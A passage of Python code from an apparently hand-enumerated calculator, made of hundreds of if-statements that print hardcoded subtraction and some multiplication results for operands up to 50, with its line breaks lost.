firstNum == 41 and sign == "-" and secondNum == 43 : print("41 - 43 = -2") if firstNum == 42 and sign == "-" and secondNum == 43 : print("42 - 43 = -1") if firstNum == 43 and sign == "-" and secondNum == 43 : print("43 - 43 = 0") if firstNum == 44 and sign == "-" and secondNum == 43 : print("44 - 43 = 1") if firstNum == 45 and sign == "-" and secondNum == 43 : print("45 - 43 = 2") if firstNum == 46 and sign == "-" and secondNum == 43 : print("46 - 43 = 3") if firstNum == 47 and sign == "-" and secondNum == 43 : print("47 - 43 = 4") if firstNum == 48 and sign == "-" and secondNum == 43 : print("48 - 43 = 5") if firstNum == 49 and sign == "-" and secondNum == 43 : print("49 - 43 = 6") if firstNum == 50 and sign == "-" and secondNum == 43 : print("50 - 43 = 7") if firstNum == 0 and sign == "-" and secondNum == 44 : print("0 - 44 = -44") if firstNum == 1 and sign == "-" and secondNum == 44 : print("1 - 44 = -43") if firstNum == 2 and sign == "-" and secondNum == 44 : print("2 - 44 = -42") if firstNum == 3 and sign == "-" and secondNum == 44 : print("3 - 44 = -41") if firstNum == 4 and sign == "-" and secondNum == 44 : print("4 - 44 = -40") if firstNum == 5 and sign == "-" and secondNum == 44 : print("5 - 44 = -39") if firstNum == 6 and sign == "-" and secondNum == 44 : print("6 - 44 = -38") if firstNum == 7 and sign == "-" and secondNum == 44 : print("7 - 44 = -37") if firstNum == 8 and sign == "-" and secondNum == 44 : print("8 - 44 = -36") if firstNum == 9 and sign == "-" and secondNum == 44 : print("9 - 44 = -35") if firstNum == 10 and sign == "-" and secondNum == 44 : print("10 - 44 = -34") if firstNum == 11 and sign == "-" and secondNum == 44 : print("11 - 44 = -33") if firstNum == 12 and sign == "-" and secondNum == 44 : print("12 - 44 = -32") if firstNum == 13 and sign == "-" and secondNum == 44 : print("13 - 44 = -31") if firstNum == 14 and sign == "-" and secondNum == 44 : print("14 - 44 = -30") if firstNum == 15 and sign == "-" and secondNum == 44 : print("15 - 44 = -29") if firstNum == 16 and sign == "-" and secondNum == 44 : print("16 - 44 = -28") if firstNum == 17 and sign == "-" and secondNum == 44 : print("17 - 44 = -27") if firstNum == 18 and sign == "-" and secondNum == 44 : print("18 - 44 = -26") if firstNum == 19 and sign == "-" and secondNum == 44 : print("19 - 44 = -25") if firstNum == 20 and sign == "-" and secondNum == 44 : print("20 - 44 = -24") if firstNum == 21 and sign == "-" and secondNum == 44 : print("21 - 44 = -23") if firstNum == 22 and sign == "-" and secondNum == 44 : print("22 - 44 = -22") if firstNum == 23 and sign == "-" and secondNum == 44 : print("23 - 44 = -21") if firstNum == 24 and sign == "-" and secondNum == 44 : print("24 - 44 = -20") if firstNum == 25 and sign == "-" and secondNum == 44 : print("25 - 44 = -19") if firstNum == 26 and sign == "-" and secondNum == 44 : print("26 - 44 = -18") if firstNum == 27 and sign == "-" and secondNum == 44 : print("27 - 44 = -17") if firstNum == 28 and sign == "-" and secondNum == 44 : print("28 - 44 = -16") if firstNum == 29 and sign == "-" and secondNum == 44 : print("29 - 44 = -15") if firstNum == 30 and sign == "-" and secondNum == 44 : print("30 - 44 = -14") if firstNum == 31 and sign == "-" and secondNum == 44 : print("31 - 44 = -13") if firstNum == 32 and sign == "-" and secondNum == 44 : print("32 - 44 = -12") if firstNum == 33 and sign == "-" and secondNum == 44 : print("33 - 44 = -11") if firstNum == 34 and sign == "-" and secondNum == 44 : print("34 - 44 = -10") if firstNum == 35 and sign == "-" and secondNum == 44 : print("35 - 44 = -9") if firstNum == 36 and sign == "-" and secondNum == 44 : print("36 - 44 = -8") if firstNum == 37 and sign == "-" and secondNum == 44 : print("37 - 44 = -7") if firstNum == 38 and sign == "-" and secondNum == 44 : print("38 - 44 = -6") if firstNum == 39 and sign == "-" and secondNum == 44 : print("39 - 44 = -5") if firstNum == 40 and sign == "-" and secondNum == 44 : print("40 - 44 = -4") if firstNum == 41 and sign == "-" and secondNum == 44 : print("41 - 44 = -3") if firstNum == 42 and sign == "-" and secondNum == 44 : print("42 - 44 = -2") if firstNum == 43 and sign == "-" and secondNum == 44 : print("43 - 44 = -1") if firstNum == 44 and sign == "-" and secondNum == 44 : print("44 - 44 = 0") if firstNum == 45 and sign == "-" and secondNum == 44 : print("45 - 44 = 1") if firstNum == 46 and sign == "-" and secondNum == 44 : print("46 - 44 = 2") if firstNum == 47 and sign == "-" and secondNum == 44 : print("47 - 44 = 3") if firstNum == 48 and sign == "-" and secondNum == 44 : print("48 - 44 = 4") if firstNum == 49 and sign == "-" and secondNum == 44 : print("49 - 44 = 5") if firstNum == 50 and sign == "-" and secondNum == 44 : print("50 - 44 = 6") if firstNum == 0 and sign == "-" and secondNum == 45 : print("0 - 45 = -45") if firstNum == 1 and sign == "-" and secondNum == 45 : print("1 - 45 = -44") if firstNum == 2 and sign == "-" and secondNum == 45 : print("2 - 45 = -43") if firstNum == 3 and sign == "-" and secondNum == 45 : print("3 - 45 = -42") if firstNum == 4 and sign == "-" and secondNum == 45 : print("4 - 45 = -41") if firstNum == 5 and sign == "-" and secondNum == 45 : print("5 - 45 = -40") if firstNum == 6 and sign == "-" and secondNum == 45 : print("6 - 45 = -39") if firstNum == 7 and sign == "-" and secondNum == 45 : print("7 - 45 = -38") if firstNum == 8 and sign == "-" and secondNum == 45 : print("8 - 45 = -37") if firstNum == 9 and sign == "-" and secondNum == 45 : print("9 - 45 = -36") if firstNum == 10 and sign == "-" and secondNum == 45 : print("10 - 45 = -35") if firstNum == 11 and sign == "-" and secondNum == 45 : print("11 - 45 = -34") if firstNum == 12 and sign == "-" and secondNum == 45 : print("12 - 45 = -33") if firstNum == 13 and sign == "-" and secondNum == 45 : print("13 - 45 = -32") if firstNum == 14 and sign == "-" and secondNum == 45 : print("14 - 45 = -31") if firstNum == 15 and sign == "-" and secondNum == 45 : print("15 - 45 = -30") if firstNum == 16 and sign == "-" and secondNum == 45 : print("16 - 45 = -29") if firstNum == 17 and sign == "-" and secondNum == 45 : print("17 - 45 = -28") if firstNum == 18 and sign == "-" and secondNum == 45 : print("18 - 45 = -27") if firstNum == 19 and sign == "-" and secondNum == 45 : print("19 - 45 = -26") if firstNum == 20 and sign == "-" and secondNum == 45 : print("20 - 45 = -25") if firstNum == 21 and sign == "-" and secondNum == 45 : print("21 - 45 = -24") if firstNum == 22 and sign == "-" and secondNum == 45 : print("22 - 45 = -23") if firstNum == 23 and sign == "-" and secondNum == 45 : print("23 - 45 = -22") if firstNum == 24 and sign == "-" and secondNum == 45 : print("24 - 45 = -21") if firstNum == 25 and sign == "-" and secondNum == 45 : print("25 - 45 = -20") if firstNum == 26 and sign == "-" and secondNum == 45 : print("26 - 45 = -19") if firstNum == 27 and sign == "-" and secondNum == 45 : print("27 - 45 = -18") if firstNum == 28 and sign == "-" and secondNum == 45 : print("28 - 45 = -17") if firstNum == 29 and sign == "-" and secondNum == 45 : print("29 - 45 = -16") if firstNum == 30 and sign == "-" and secondNum == 45 : print("30 - 45 = -15") if firstNum == 31 and sign == "-" and secondNum == 45 : print("31 - 45 = -14") if firstNum == 32 and sign == "-" and secondNum == 45 : print("32 - 45 = -13") if firstNum == 33 and sign == "-" and secondNum == 45 : print("33 - 45 = -12") if firstNum == 34 and sign == "-" and secondNum == 45 : print("34 - 45 = -11") if firstNum == 35 and sign == "-" and secondNum == 45 : print("35 - 45 = -10") if firstNum == 36 and sign == "-" and secondNum == 45 : print("36 - 45 = -9") if firstNum == 37 and sign == "-" and secondNum == 45 : print("37 - 45 = -8") if firstNum == 38 and sign == "-" and secondNum == 45 : print("38 - 45 = -7") if firstNum == 39 and sign == "-" and secondNum == 45 : print("39 - 45 = -6") if firstNum == 40 and sign == "-" and secondNum == 45 : print("40 - 45 = -5") if firstNum == 41 and sign == "-" and secondNum == 45 : print("41 - 45 = -4") if firstNum == 42 and sign == "-" and secondNum == 45 : print("42 - 45 = -3") if firstNum == 43 and sign == "-" and secondNum == 45 : print("43 - 45 = -2") if firstNum == 44 and sign == "-" and secondNum == 45 : print("44 - 45 = -1") if firstNum == 45 and sign == "-" and secondNum == 45 : print("45 - 45 = 0") if firstNum == 46 and sign == "-" and secondNum == 45 : print("46 - 45 = 1") if firstNum == 47 and sign == "-" and secondNum == 45 : print("47 - 45 = 2") if firstNum == 48 and sign == "-" and secondNum == 45 : print("48 - 45 = 3") if firstNum == 49 and sign == "-" and secondNum == 45 : print("49 - 45 = 4") if firstNum == 50 and sign == "-" and secondNum == 45 : print("50 - 45 = 5") if firstNum == 0 and sign == "-" and secondNum == 46 : print("0 - 46 = -46") if firstNum == 1 and sign == "-" and secondNum == 46 : print("1 - 46 = -45") if firstNum == 2 and sign == "-" and secondNum == 46 : print("2 - 46 = -44") if firstNum == 3 and sign == "-" and secondNum == 46 : print("3 - 46 = -43") if firstNum == 4 and sign == "-" and secondNum == 46 : print("4 - 46 = -42") if firstNum == 5 and sign == "-" and secondNum == 46 : print("5 - 46 = -41") if firstNum == 6 and sign == "-" and secondNum == 46 : print("6 - 46 = -40") if firstNum == 7 and sign == "-" and secondNum == 46 : print("7 - 46 = -39") if firstNum == 8 and sign == "-" and secondNum == 46 : print("8 - 46 = -38") if firstNum == 9 and sign == "-" and secondNum == 46 : print("9 - 46 = -37") if firstNum == 10 and sign == "-" and secondNum == 46 : print("10 - 46 = -36") if firstNum == 11 and sign == "-" and secondNum == 46 : print("11 - 46 = -35") if firstNum == 12 and sign == "-" and secondNum == 46 : print("12 - 46 = -34") if firstNum == 13 and sign == "-" and secondNum == 46 : print("13 - 46 = -33") if firstNum == 14 and sign == "-" and secondNum == 46 : print("14 - 46 = -32") if firstNum == 15 and sign == "-" and secondNum == 46 : print("15 - 46 = -31") if firstNum == 16 and sign == "-" and secondNum == 46 : print("16 - 46 = -30") if firstNum == 17 and sign == "-" and secondNum == 46 : print("17 - 46 = -29") if firstNum == 18 and sign == "-" and secondNum == 46 : print("18 - 46 = -28") if firstNum == 19 and sign == "-" and secondNum == 46 : print("19 - 46 = -27") if firstNum == 20 and sign == "-" and secondNum == 46 : print("20 - 46 = -26") if firstNum == 21 and sign == "-" and secondNum == 46 : print("21 - 46 = -25") if firstNum == 22 and sign == "-" and secondNum == 46 : print("22 - 46 = -24") if firstNum == 23 and sign == "-" and secondNum == 46 : print("23 - 46 = -23") if firstNum == 24 and sign == "-" and secondNum == 46 : print("24 - 46 = -22") if firstNum == 25 and sign == "-" and secondNum == 46 : print("25 - 46 = -21") if firstNum == 26 and sign == "-" and secondNum == 46 : print("26 - 46 = -20") if firstNum == 27 and sign == "-" and secondNum == 46 : print("27 - 46 = -19") if firstNum == 28 and sign == "-" and secondNum == 46 : print("28 - 46 = -18") if firstNum == 29 and sign == "-" and secondNum == 46 : print("29 - 46 = -17") if firstNum == 30 and sign == "-" and secondNum == 46 : print("30 - 46 = -16") if firstNum == 31 and sign == "-" and secondNum == 46 : print("31 - 46 = -15") if firstNum == 32 and sign == "-" and secondNum == 46 : print("32 - 46 = -14") if firstNum == 33 and sign == "-" and secondNum == 46 : print("33 - 46 = -13") if firstNum == 34 and sign == "-" and secondNum == 46 : print("34 - 46 = -12") if firstNum == 35 and sign == "-" and secondNum == 46 : print("35 - 46 = -11") if firstNum == 36 and sign == "-" and secondNum == 46 : print("36 - 46 = -10") if firstNum == 37 and sign == "-" and secondNum == 46 : print("37 - 46 = -9") if firstNum == 38 and sign == "-" and secondNum == 46 : print("38 - 46 = -8") if firstNum == 39 and sign == "-" and secondNum == 46 : print("39 - 46 = -7") if firstNum == 40 and sign == "-" and secondNum == 46 : print("40 - 46 = -6") if firstNum == 41 and sign == "-" and secondNum == 46 : print("41 - 46 = -5") if firstNum == 42 and sign == "-" and secondNum == 46 : print("42 - 46 = -4") if firstNum == 43 and sign == "-" and secondNum == 46 : print("43 - 46 = -3") if firstNum == 44 and sign == "-" and secondNum == 46 : print("44 - 46 = -2") if firstNum == 45 and sign == "-" and secondNum == 46 : print("45 - 46 = -1") if firstNum == 46 and sign == "-" and secondNum == 46 : print("46 - 46 = 0") if firstNum == 47 and sign == "-" and secondNum == 46 : print("47 - 46 = 1") if firstNum == 48 and sign == "-" and secondNum == 46 : print("48 - 46 = 2") if firstNum == 49 and sign == "-" and secondNum == 46 : print("49 - 46 = 3") if firstNum == 50 and sign == "-" and secondNum == 46 : print("50 - 46 = 4") if firstNum == 0 and sign == "-" and secondNum == 47 : print("0 - 47 = -47") if firstNum == 1 and sign == "-" and secondNum == 47 : print("1 - 47 = -46") if firstNum == 2 and sign == "-" and secondNum == 47 : print("2 - 47 = -45") if firstNum == 3 and sign == "-" and secondNum == 47 : print("3 - 47 = -44") if firstNum == 4 and sign == "-" and secondNum == 47 : print("4 - 47 = -43") if firstNum == 5 and sign == "-" and secondNum == 47 : print("5 - 47 = -42") if firstNum == 6 and sign == "-" and secondNum == 47 : print("6 - 47 = -41") if firstNum == 7 and sign == "-" and secondNum == 47 : print("7 - 47 = -40") if firstNum == 8 and sign == "-" and secondNum == 47 : print("8 - 47 = -39") if firstNum == 9 and sign == "-" and secondNum == 47 : print("9 - 47 = -38") if firstNum == 10 and sign == "-" and secondNum == 47 : print("10 - 47 = -37") if firstNum == 11 and sign == "-" and secondNum == 47 : print("11 - 47 = -36") if firstNum == 12 and sign == "-" and secondNum == 47 : print("12 - 47 = -35") if firstNum == 13 and sign == "-" and secondNum == 47 : print("13 - 47 = -34") if firstNum == 14 and sign == "-" and secondNum == 47 : print("14 - 47 = -33") if firstNum == 15 and sign == "-" and secondNum == 47 : print("15 - 47 = -32") if firstNum == 16 and sign == "-" and secondNum == 47 : print("16 - 47 = -31") if firstNum == 17 and sign == "-" and secondNum == 47 : print("17 - 47 = -30") if firstNum == 18 and sign == "-" and secondNum == 47 : print("18 - 47 = -29") if firstNum == 19 and sign == "-" and secondNum == 47 : print("19 - 47 = -28") if firstNum == 20 and sign == "-" and secondNum == 47 : print("20 - 47 = -27") if firstNum == 21 and sign == "-" and secondNum == 47 : print("21 - 47 = -26") if firstNum == 22 and sign == "-" and secondNum == 47 : print("22 - 47 = -25") if firstNum == 23 and sign == "-" and secondNum == 47 : print("23 - 47 = -24") if firstNum == 24 and sign == "-" and secondNum == 47 : print("24 - 47 = -23") if firstNum == 25 and sign == "-" and secondNum == 47 : print("25 - 47 = -22") if firstNum == 26 and sign == "-" and secondNum == 47 : print("26 - 47 = -21") if firstNum == 27 and sign == "-" and secondNum == 47 : print("27 - 47 = -20") if firstNum == 28 and sign == "-" and secondNum == 47 : print("28 - 47 = -19") if firstNum == 29 and sign == "-" and secondNum == 47 : print("29 - 47 = -18") if firstNum == 30 and sign == "-" and secondNum == 47 : print("30 - 47 = -17") if firstNum == 31 and sign == "-" and secondNum == 47 : print("31 - 47 = -16") if firstNum == 32 and sign == "-" and secondNum == 47 : print("32 - 47 = -15") if firstNum == 33 and sign == "-" and secondNum == 47 : print("33 - 47 = -14") if firstNum == 34 and sign == "-" and secondNum == 47 : print("34 - 47 = -13") if firstNum == 35 and sign == "-" and secondNum == 47 : print("35 - 47 = -12") if firstNum == 36 and sign == "-" and secondNum == 47 : print("36 - 47 = -11") if firstNum == 37 and sign == "-" and secondNum == 47 : print("37 - 47 = -10") if firstNum == 38 and sign == "-" and secondNum == 47 : print("38 - 47 = -9") if firstNum == 39 and sign == "-" and secondNum == 47 : print("39 - 47 = -8") if firstNum == 40 and sign == "-" and secondNum == 47 : print("40 - 47 = -7") if firstNum == 41 and sign == "-" and secondNum == 47 : print("41 - 47 = -6") if firstNum == 42 and sign == "-" and secondNum == 47 : print("42 - 47 = -5") if firstNum == 43 and sign == "-" and secondNum == 47 : print("43 - 47 = -4") if firstNum == 44 and sign == "-" and secondNum == 47 : print("44 - 47 = -3") if firstNum == 45 and sign == "-" and secondNum == 47 : print("45 - 47 = -2") if firstNum == 46 and sign == "-" and secondNum == 47 : print("46 - 47 = -1") if firstNum == 47 and sign == "-" and secondNum == 47 : print("47 - 47 = 0") if firstNum == 48 and sign == "-" and secondNum == 47 : print("48 - 47 = 1") if firstNum == 49 and sign == "-" and secondNum == 47 : print("49 - 47 = 2") if firstNum == 50 and sign == "-" and secondNum == 47 : print("50 - 47 = 3") if firstNum == 0 and sign == "-" and secondNum == 48 : print("0 - 48 = -48") if firstNum == 1 and sign == "-" and secondNum == 48 : print("1 - 48 = -47") if firstNum == 2 and sign == "-" and secondNum == 48 : print("2 - 48 = -46") if firstNum == 3 and sign == "-" and secondNum == 48 : print("3 - 48 = -45") if firstNum == 4 and sign == "-" and secondNum == 48 : print("4 - 48 = -44") if firstNum == 5 and sign == "-" and secondNum == 48 : print("5 - 48 = -43") if firstNum == 6 and sign == "-" and secondNum == 48 : print("6 - 48 = -42") if firstNum == 7 and sign == "-" and secondNum == 48 : print("7 - 48 = -41") if firstNum == 8 and sign == "-" and secondNum == 48 : print("8 - 48 = -40") if firstNum == 9 and sign == "-" and secondNum == 48 : print("9 - 48 = -39") if firstNum == 10 and sign == "-" and secondNum == 48 : print("10 - 48 = -38") if firstNum == 11 and sign == "-" and secondNum == 48 : print("11 - 48 = -37") if firstNum == 12 and sign == "-" and secondNum == 48 : print("12 - 48 = -36") if firstNum == 13 and sign == "-" and secondNum == 48 : print("13 - 48 = -35") if firstNum == 14 and sign == "-" and secondNum == 48 : print("14 - 48 = -34") if firstNum == 15 and sign == "-" and secondNum == 48 : print("15 - 48 = -33") if firstNum == 16 and sign == "-" and secondNum == 48 : print("16 - 48 = -32") if firstNum == 17 and sign == "-" and secondNum == 48 : print("17 - 48 = -31") if firstNum == 18 and sign == "-" and secondNum == 48 : print("18 - 48 = -30") if firstNum == 19 and sign == "-" and secondNum == 48 : print("19 - 48 = -29") if firstNum == 20 and sign == "-" and secondNum == 48 : print("20 - 48 = -28") if firstNum == 21 and sign == "-" and secondNum == 48 : print("21 - 48 = -27") if firstNum == 22 and sign == "-" and secondNum == 48 : print("22 - 48 = -26") if firstNum == 23 and sign == "-" and secondNum == 48 : print("23 - 48 = -25") if firstNum == 24 and sign == "-" and secondNum == 48 : print("24 - 48 = -24") if firstNum == 25 and sign == "-" and secondNum == 48 : print("25 - 48 = -23") if firstNum == 26 and sign == "-" and secondNum == 48 : print("26 - 48 = -22") if firstNum == 27 and sign == "-" and secondNum == 48 : print("27 - 48 = -21") if firstNum == 28 and sign == "-" and secondNum == 48 : print("28 - 48 = -20") if firstNum == 29 and sign == "-" and secondNum == 48 : print("29 - 48 = -19") if firstNum == 30 and sign == "-" and secondNum == 48 : print("30 - 48 = -18") if firstNum == 31 and sign == "-" and secondNum == 48 : print("31 - 48 = -17") if firstNum == 32 and sign == "-" and secondNum == 48 : print("32 - 48 = -16") if firstNum == 33 and sign == "-" and secondNum == 48 : print("33 - 48 = -15") if firstNum == 34 and sign == "-" and secondNum == 48 : print("34 - 48 = -14") if firstNum == 35 and sign == "-" and secondNum == 48 : print("35 - 48 = -13") if firstNum == 36 and sign == "-" and secondNum == 48 : print("36 - 48 = -12") if firstNum == 37 and sign == "-" and secondNum == 48 : print("37 - 48 = -11") if firstNum == 38 and sign == "-" and secondNum == 48 : print("38 - 48 = -10") if firstNum == 39 and sign == "-" and secondNum == 48 : print("39 - 48 = -9") if firstNum == 40 and sign == "-" and secondNum == 48 : print("40 - 48 = -8") if firstNum == 41 and sign == "-" and secondNum == 48 : print("41 - 48 = -7") if firstNum == 42 and sign == "-" and secondNum == 48 : print("42 - 48 = -6") if firstNum == 43 and sign == "-" and secondNum == 48 : print("43 - 48 = -5") if firstNum == 44 and sign == "-" and secondNum == 48 : print("44 - 48 = -4") if firstNum == 45 and sign == "-" and secondNum == 48 : print("45 - 48 = -3") if firstNum == 46 and sign == "-" and secondNum == 48 : print("46 - 48 = -2") if firstNum == 47 and sign == "-" and secondNum == 48 : print("47 - 48 = -1") if firstNum == 48 and sign == "-" and secondNum == 48 : print("48 - 48 = 0") if firstNum == 49 and sign == "-" and secondNum == 48 : print("49 - 48 = 1") if firstNum == 50 and sign == "-" and secondNum == 48 : print("50 - 48 = 2") if firstNum == 0 and sign == "-" and secondNum == 49 : print("0 - 49 = -49") if firstNum == 1 and sign == "-" and secondNum == 49 : print("1 - 49 = -48") if firstNum == 2 and sign == "-" and secondNum == 49 : print("2 - 49 = -47") if firstNum == 3 and sign == "-" and secondNum == 49 : print("3 - 49 = -46") if firstNum == 4 and sign == "-" and secondNum == 49 : print("4 - 49 = -45") if firstNum == 5 and sign == "-" and secondNum == 49 : print("5 - 49 = -44") if firstNum == 6 and sign == "-" and secondNum == 49 : print("6 - 49 = -43") if firstNum == 7 and sign == "-" and secondNum == 49 : print("7 - 49 = -42") if firstNum == 8 and sign == "-" and secondNum == 49 : print("8 - 49 = -41") if firstNum == 9 and sign == "-" and secondNum == 49 : print("9 - 49 = -40") if firstNum == 10 and sign == "-" and secondNum == 49 : print("10 - 49 = -39") if firstNum == 11 and sign == "-" and secondNum == 49 : print("11 - 49 = -38") if firstNum == 12 and sign == "-" and secondNum == 49 : print("12 - 49 = -37") if firstNum == 13 and sign == "-" and secondNum == 49 : print("13 - 49 = -36") if firstNum == 14 and sign == "-" and secondNum == 49 : print("14 - 49 = -35") if firstNum == 15 and sign == "-" and secondNum == 49 : print("15 - 49 = -34") if firstNum == 16 and sign == "-" and secondNum == 49 : print("16 - 49 = -33") if firstNum == 17 and sign == "-" and secondNum == 49 : print("17 - 49 = -32") if firstNum == 18 and sign == "-" and secondNum == 49 : print("18 - 49 = -31") if firstNum == 19 and sign == "-" and secondNum == 49 : print("19 - 49 = -30") if firstNum == 20 and sign == "-" and secondNum == 49 : print("20 - 49 = -29") if firstNum == 21 and sign == "-" and secondNum == 49 : print("21 - 49 = -28") if firstNum == 22 and sign == "-" and secondNum == 49 : print("22 - 49 = -27") if firstNum == 23 and sign == "-" and secondNum == 49 : print("23 - 49 = -26") if firstNum == 24 and sign == "-" and secondNum == 49 : print("24 - 49 = -25") if firstNum == 25 and sign == "-" and secondNum == 49 : print("25 - 49 = -24") if firstNum == 26 and sign == "-" and secondNum == 49 : print("26 - 49 = -23") if firstNum == 27 and sign == "-" and secondNum == 49 : print("27 - 49 = -22") if firstNum == 28 and sign == "-" and secondNum == 49 : print("28 - 49 = -21") if firstNum == 29 and sign == "-" and secondNum == 49 : print("29 - 49 = -20") if firstNum == 30 and sign == "-" and secondNum == 49 : print("30 - 49 = -19") if firstNum == 31 and sign == "-" and secondNum == 49 : print("31 - 49 = -18") if firstNum == 32 and sign == "-" and secondNum == 49 : print("32 - 49 = -17") if firstNum == 33 and sign == "-" and secondNum == 49 : print("33 - 49 = -16") if firstNum == 34 and sign == "-" and secondNum == 49 : print("34 - 49 = -15") if firstNum == 35 and sign == "-" and secondNum == 49 : print("35 - 49 = -14") if firstNum == 36 and sign == "-" and secondNum == 49 : print("36 - 49 = -13") if firstNum == 37 and sign == "-" and secondNum == 49 : print("37 - 49 = -12") if firstNum == 38 and sign == "-" and secondNum == 49 : print("38 - 49 = -11") if firstNum == 39 and sign == "-" and secondNum == 49 : print("39 - 49 = -10") if firstNum == 40 and sign == "-" and secondNum == 49 : print("40 - 49 = -9") if firstNum == 41 and sign == "-" and secondNum == 49 : print("41 - 49 = -8") if firstNum == 42 and sign == "-" and secondNum == 49 : print("42 - 49 = -7") if firstNum == 43 and sign == "-" and secondNum == 49 : print("43 - 49 = -6") if firstNum == 44 and sign == "-" and secondNum == 49 : print("44 - 49 = -5") if firstNum == 45 and sign == "-" and secondNum == 49 : print("45 - 49 = -4") if firstNum == 46 and sign == "-" and secondNum == 49 : print("46 - 49 = -3") if firstNum == 47 and sign == "-" and secondNum == 49 : print("47 - 49 = -2") if firstNum == 48 and sign == "-" and secondNum == 49 : print("48 - 49 = -1") if firstNum == 49 and sign == "-" and secondNum == 49 : print("49 - 49 = 0") if firstNum == 50 and sign == "-" and secondNum == 49 : print("50 - 49 = 1") if firstNum == 0 and sign == "-" and secondNum == 50 : print("0 - 50 = -50") if firstNum == 1 and sign == "-" and secondNum == 50 : print("1 - 50 = -49") if firstNum == 2 and sign == "-" and secondNum == 50 : print("2 - 50 = -48") if firstNum == 3 and sign == "-" and secondNum == 50 : print("3 - 50 = -47") if firstNum == 4 and sign == "-" and secondNum == 50 : print("4 - 50 = -46") if firstNum == 5 and sign == "-" and secondNum == 50 : print("5 - 50 = -45") if firstNum == 6 and sign == "-" and secondNum == 50 : print("6 - 50 = -44") if firstNum == 7 and sign == "-" and secondNum == 50 : print("7 - 50 = -43") if firstNum == 8 and sign == "-" and secondNum == 50 : print("8 - 50 = -42") if firstNum == 9 and sign == "-" and secondNum == 50 : print("9 - 50 = -41") if firstNum == 10 and sign == "-" and secondNum == 50 : print("10 - 50 = -40") if firstNum == 11 and sign == "-" and secondNum == 50 : print("11 - 50 = -39") if firstNum == 12 and sign == "-" and secondNum == 50 : print("12 - 50 = -38") if firstNum == 13 and sign == "-" and secondNum == 50 : print("13 - 50 = -37") if firstNum == 14 and sign == "-" and secondNum == 50 : print("14 - 50 = -36") if firstNum == 15 and sign == "-" and secondNum == 50 : print("15 - 50 = -35") if firstNum == 16 and sign == "-" and secondNum == 50 : print("16 - 50 = -34") if firstNum == 17 and sign == "-" and secondNum == 50 : print("17 - 50 = -33") if firstNum == 18 and sign == "-" and secondNum == 50 : print("18 - 50 = -32") if firstNum == 19 and sign == "-" and secondNum == 50 : print("19 - 50 = -31") if firstNum == 20 and sign == "-" and secondNum == 50 : print("20 - 50 = -30") if firstNum == 21 and sign == "-" and secondNum == 50 : print("21 - 50 = -29") if firstNum == 22 and sign == "-" and secondNum == 50 : print("22 - 50 = -28") if firstNum == 23 and sign == "-" and secondNum == 50 : print("23 - 50 = -27") if firstNum == 24 and sign == "-" and secondNum == 50 : print("24 - 50 = -26") if firstNum == 25 and sign == "-" and secondNum == 50 : print("25 - 50 = -25") if firstNum == 26 and sign == "-" and secondNum == 50 : print("26 - 50 = -24") if firstNum == 27 and sign == "-" and secondNum == 50 : print("27 - 50 = -23") if firstNum == 28 and sign == "-" and secondNum == 50 : print("28 - 50 = -22") if firstNum == 29 and sign == "-" and secondNum == 50 : print("29 - 50 = -21") if firstNum == 30 and sign == "-" and secondNum == 50 : print("30 - 50 = -20") if firstNum == 31 and sign == "-" and secondNum == 50 : print("31 - 50 = -19") if firstNum == 32 and sign == "-" and secondNum == 50 : print("32 - 50 = -18") if firstNum == 33 and sign == "-" and secondNum == 50 : print("33 - 50 = -17") if firstNum == 34 and sign == "-" and secondNum == 50 : print("34 - 50 = -16") if firstNum == 35 and sign == "-" and secondNum == 50 : print("35 - 50 = -15") if firstNum == 36 and sign == "-" and secondNum == 50 : print("36 - 50 = -14") if firstNum == 37 and sign == "-" and secondNum == 50 : print("37 - 50 = -13") if firstNum == 38 and sign == "-" and secondNum == 50 : print("38 - 50 = -12") if firstNum == 39 and sign == "-" and secondNum == 50 : print("39 - 50 = -11") if firstNum == 40 and sign == "-" and secondNum == 50 : print("40 - 50 = -10") if firstNum == 41 and sign == "-" and secondNum == 50 : print("41 - 50 = -9") if firstNum == 42 and sign == "-" and secondNum == 50 : print("42 - 50 = -8") if firstNum == 43 and sign == "-" and secondNum == 50 : print("43 - 50 = -7") if firstNum == 44 and sign == "-" and secondNum == 50 : print("44 - 50 = -6") if firstNum == 45 and sign == "-" and secondNum == 50 : print("45 - 50 = -5") if firstNum == 46 and sign == "-" and secondNum == 50 : print("46 - 50 = -4") if firstNum == 47 and sign == "-" and secondNum == 50 : print("47 - 50 = -3") if firstNum == 48 and sign == "-" and secondNum == 50 : print("48 - 50 = -2") if firstNum == 49 and sign == "-" and secondNum == 50 : print("49 - 50 = -1") if firstNum == 50 and sign == "-" and secondNum == 50 : print("50 - 50 = 0") if firstNum == 0 and sign == "*" and secondNum == 0 : print("0 * 0 = 0") if firstNum == 1 and sign == "*" and secondNum == 0 : print("1 * 0 = 0") if firstNum == 2 and sign == "*" and secondNum == 0 : print("2 * 0 = 0") if firstNum == 3 and sign == "*" and secondNum == 0 : print("3 * 0 = 0") if firstNum == 4 and sign == "*" and secondNum == 0 : print("4 * 0 = 0") if firstNum == 5 and sign == "*" and secondNum == 0 : print("5 * 0 = 0") if firstNum == 6 and sign == "*" and secondNum == 0 : print("6 * 0 = 0") if firstNum == 7 and sign == "*" and secondNum == 0 : print("7 * 0 = 0") if firstNum == 8 and sign == "*" and secondNum == 0 : print("8 * 0 = 0") if firstNum == 9 and sign == "*" and secondNum == 0 : print("9 * 0 = 0") if firstNum == 10 and sign == "*" and secondNum == 0 : print("10 * 0 = 0") if firstNum == 11 and sign == "*" and secondNum == 0 : print("11 * 0 = 0") if firstNum == 12 and sign == "*" and secondNum == 0 : print("12 * 0 = 0") if firstNum == 13 and sign == "*" and secondNum == 0 : print("13 * 0 = 0") if firstNum == 14 and sign == "*" and secondNum == 0 : print("14 * 0 = 0") if firstNum == 15 and sign == "*" and secondNum == 0 : print("15 * 0 = 0") if firstNum == 16 and sign == "*" and secondNum == 0 : print("16 * 0 = 0") if firstNum == 17 and sign == "*" and secondNum == 0 : print("17 * 0 = 0") if firstNum == 18 and sign == "*" and secondNum == 0 : print("18 * 0 = 0") if firstNum == 19 and sign == "*" and secondNum == 0 : print("19 * 0 = 0") if firstNum == 20 and sign == "*" and secondNum == 0 : print("20 * 0 = 0") if firstNum == 21 and sign == "*" and secondNum == 0 : print("21 * 0 = 0") if firstNum == 22 and sign == "*" and secondNum == 0 : print("22 * 0 = 0") if firstNum == 23 and sign == "*" and secondNum == 0 : print("23 * 0 = 0") if firstNum == 24 and sign == "*" and secondNum == 0 : print("24 * 0 = 0") if firstNum == 25 and sign == "*" and secondNum == 0 : print("25 * 0 = 0") if firstNum == 26 and sign == "*" and secondNum == 0 : print("26 * 0 = 0") if firstNum == 27 and sign == "*" and secondNum == 0 : 